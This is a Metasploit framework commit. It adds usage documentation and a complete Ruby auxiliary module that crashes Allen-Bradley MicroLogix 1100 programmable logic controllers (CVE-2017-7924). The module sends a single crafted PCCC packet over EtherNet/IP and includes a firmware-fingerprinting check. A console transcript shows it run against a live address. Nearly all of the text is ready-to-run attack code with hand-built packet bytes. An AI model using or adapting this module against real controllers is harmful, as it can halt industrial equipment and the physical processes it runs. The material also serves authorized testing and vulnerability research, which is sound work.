Land #11106, Allen-Bradley legacy protocol DoS
This commit is contained in:
William Vu
commit
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## Vulnerable Application
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A remote, unauthenticated attacker could send a single, specially crafted Programmable Controller Communication Commands (PCCC) packet to the controller that could potentially cause the controller to enter a DoS condition.
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MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and 1763-L16DWD.
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CVE-2017-7924 has been assigned to this vulnerability.
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A CVSS v3 base score of 7.5 has been assigned.
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## Verification Steps
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1. Do: `use auxiliary/dos/scada/allen_bradley_pccc`
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2. Do: `set RHOST=IP` where IP is the IP address of the target
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3. Do: `check` verify if target is vulnerable
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4. Do: `exploit` send DoS packet
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## Options
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1. PORT: `set RPORT=44818`
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## Scenarios
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```
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msf > use auxiliary/dos/scada/allen_bradley_pccc
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msf auxiliary(dos/scada/allen_bradley_pccc) > set RHOST 172.27.248.194
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RHOST => 172.27.248.194
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msf auxiliary(dos/scada/allen_bradley_pccc) > check
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[*] 172.27.248.194:44818 - Product Name: 1763-L16BWA B/14.00
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[+] 172.27.248.194:44818 - The target is vulnerable.
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msf auxiliary(dos/scada/allen_bradley_pccc) > exploit
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[*] 172.27.248.194:44818 - Ethernet/IP - Session created (id 0xaf79a666)
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[*] 172.27.248.194:44818 - CIP Connection Manager - Forward Open Success (Connection id 0x66a66e85)
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[*] 172.27.248.194:44818 - Sending PCCC DoS magic packet...
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[*] Auxiliary module execution completed
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```
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::Udp
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(
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'Name' => "DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)",
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'Description' => %q{
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A remote, unauthenticated attacker could send a single, specially crafted
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Programmable Controller Communication Commands (PCCC) packet to the controller
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that could potentially cause the controller to enter a DoS condition.
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MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and
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1763-L16DWD.
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CVE-2017-7924 has been assigned to this vulnerability.
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A CVSS v3 base score of 7.5 has been assigned.
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},
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'Author' => [
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'José Diogo Monteiro <jdlopes[at]student.dei.uc.pt>',
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'Luis Rosa <lmrosa[at]dei.uc.pt)>',
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'Miguel Borges de Freitas <miguelbf[at]dei.uc.pt>'
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2017-7924' ],
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[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-138-03' ],
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[ 'URL', 'http://dl.acm.org/citation.cfm?doid=3174776.3174780']
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])
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register_options([Opt::RPORT(44818),])
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end
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VULN_LIST = ['1763-L16BWA','1763-L16AWA','1763-L16BBB','1763-L16DWD']
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VULN_FW_VERSION_MIN = 14.00
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VULN_FW_VERSION_MAX = 16.00
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def le_pp(s)
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"0x#{Rex::Text.to_hex(s, prefix="").scan(/../).reverse.join("")}"
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end
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def enip_register_session_pkt
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# ENIP encapsulation Header
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"\x65\x00" + # Command register session (0x0065)
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"\x04\x00" + # Lenght (4)
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"\x00\x00\x00\x00" + # Session handle (0x00000000)
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"\x00\x00\x00\x00" + # Status success (0x00000000)
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"\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000)
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"\x00\x00\x00\x00" + # Options (0x00000000)
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# Protocol Specific Data
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"\x01\x00" + # Protocol version (1)
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"\x00\x00" # Option flags (0x00000000)
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end
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def enip_ccm_forward_open_pkt(enip_session_handle)
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# ENIP encapsulation header
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"\x6f\x00" + # Send RR data (0x006f)
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"\x3e\x00" + # Lenght (63)
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enip_session_handle + # Session handle (retrieved from register session)
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"\x00\x00\x00\x00" + # Status success (0x00000000)
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"\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000)
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"\x00\x00\x00\x00" + # Options (0x00000000)
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# Command specific data
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"\x00\x00\x00\x00" + # Interface handle (CIP = 0x00000000)
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"\x00\x00" + # Timeout (0)
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"\x02\x00" + # Item count (2)
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"\x00\x00" + # Item 1 type id (Null address item)
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"\x00\x00" + # Item 1 length (0)
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"\xb2\x00" + # Item 2 type id (Unconnected data item)
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"\x2e\x00" + # Item 2 length (46)
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# CIP Connection manager specific data
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"\x54\x02\x20\x06\x24\x01\x0a\xf0" +
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"\x00\x00\x00\x00\x52\xac\xda\x89" +
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"\x55\x0c\x35\x01\xe1\x08\xb0\x60" +
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"\x07\x00\x00\x00\x00\x40\x00\x00" +
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"\x12\x43\x00\x40\x00\x00\x12\x43" +
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"\xa3\x02\x20\x02\x24\x01"
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end
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# Any combination of File Number 0x02–0x08 and File Type 0x48 or 0x47 will trigger a Major Error (0x08)
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def pccc_dos_pkt(enip_session_id, cip_connection_id)
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# ENIP encapsulation header
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"\x70\x00" + # Send unit data (0x0070)
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"\x2d\x00" + # Length
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enip_session_id + # ENIP session handle (obtained from enip register session)
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"\x00\x00\x00\x00" + # Status Success
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"\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context
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"\x00\x00\x00\x00" + # Options
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# Command Specific data
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"\x00\x00\x00\x00" + # Interface handle (CIP)
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"\x00\x00" + # Timeout (0)
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"\x02\x00" + # Item count
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"\xa1\x00" + # Item 1 - Type ID (Connected address item)
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"\x04\x00" + # Item 1 - Length (4)
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cip_connection_id + # CIP connection ID (obtained from CIP CM packet)
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"\xb1\x00" + # Item 2 - Type ID (Connected data item)
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"\x19\x00" + # Item 2 - Length (25)
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"\x01\x00" + # Item 2 - CIP Sequence Count (1) - first packet
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# PCCC Command data
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"\x4b" + # Execute PCCC (0x4b)
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"\x02\x20\x67\x24\x01" + # no idea what this is
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"\x07" + # Requestor ID length
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"\x35\x01" + # CIP vendor ID
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"\xe1\x08\xb0\x60" + # CIP serial number
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"\x0f" + # Command code
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"\x00" + # Status (success 0x00)
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"\x2a\x58" + # Transaction code
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"\xa2" + # Function code (Protected typed logical read with three address fields)
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"\x00" + # Byte size
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"\x05" + # File number
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"\x47" + # File type
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"\x00" + # Element number
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"\x00" # Sub-element number
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end
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def enip_list_identify_pkt
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"\x63\x00" + # List Identity
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"\x00\x00" + # Length
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"\x00\x00\x00\x00" + # Session Handle
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"\x00\x00\x00\x00" + # Status: Success
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"\x00\x00" + # Max Response Delay
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"\x00\x00\xc1\xde\xbe\xd1" + # Sender Context
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"\x00\x00\x00\x00" # Options
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end
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def check
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connect_udp
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udp_sock.put(enip_list_identify_pkt)
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res = udp_sock.recvfrom(90)
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disconnect_udp
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unless res && res[0].length > 63 && res[0][0,2] == "\x63\x00"
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print_error "EtherNet/IP Packet Not Valid"
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return Exploit::CheckCode::Unsupported
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end
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revision = res[0][54,2]
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product_name_len = res[0][62].unpack("c*")[0]
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product_name = res[0][63,product_name_len]
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print_status "Product Name: #{product_name}"
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array = product_name.split(' ')
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plc_model = array[0]
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return Exploit::CheckCode::Safe unless VULN_LIST.any? { |e| plc_model.include? e }
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firmware = array[1]
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begin
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firmware_nbr = firmware.scan(/(\d+[.,]\d+)/).flatten.first.to_f
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if firmware_nbr >= VULN_FW_VERSION_MIN && firmware_nbr < VULN_FW_VERSION_MAX
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return Exploit::CheckCode::Vulnerable
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elsif firmware_nbr < VULN_FW_VERSION_MIN
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return Exploit::CheckCode::Appears
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else
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return Exploit::CheckCode::Safe
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end
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rescue
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return Exploit::CheckCode::Unknown
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end
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rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
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elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
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ensure
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disconnect
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end
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def run
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connect
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# Register Ethernet/IP session
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sock.put(enip_register_session_pkt)
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enip_register_session_ans = sock.get_once
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unless enip_register_session_ans && enip_register_session_ans.length == 28 && enip_register_session_ans[0,2] == "\x65\x00"
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print_error "Ethernet/IP - Failed to create session."
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disconnect
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return
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end
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enip_session_id = enip_register_session_ans[4, 4]
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print_status "Ethernet/IP - Session created (id #{le_pp(enip_session_id)})"
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# Ethernet/IP CCM Forward Open
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sock.put(enip_ccm_forward_open_pkt(enip_session_id))
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enip_ccm_forward_open_ans = sock.get_once
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unless enip_ccm_forward_open_ans && enip_ccm_forward_open_ans.length > 48 && enip_ccm_forward_open_ans[0,2] == "\x6f\x00"
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print_error "CIP Connection Manager - Failed Forward Open request"
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disconnect
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return
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end
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cip_connection_id = enip_ccm_forward_open_ans[44, 4]
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print_status "CIP Connection Manager - Forward Open Success (Connection id #{le_pp(cip_connection_id)})"
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# PCCC DoS packet
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print_status "Sending PCCC DoS magic packet..."
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sock.put(pccc_dos_pkt(enip_session_id, cip_connection_id))
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rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
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elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
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ensure
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disconnect
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end
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end
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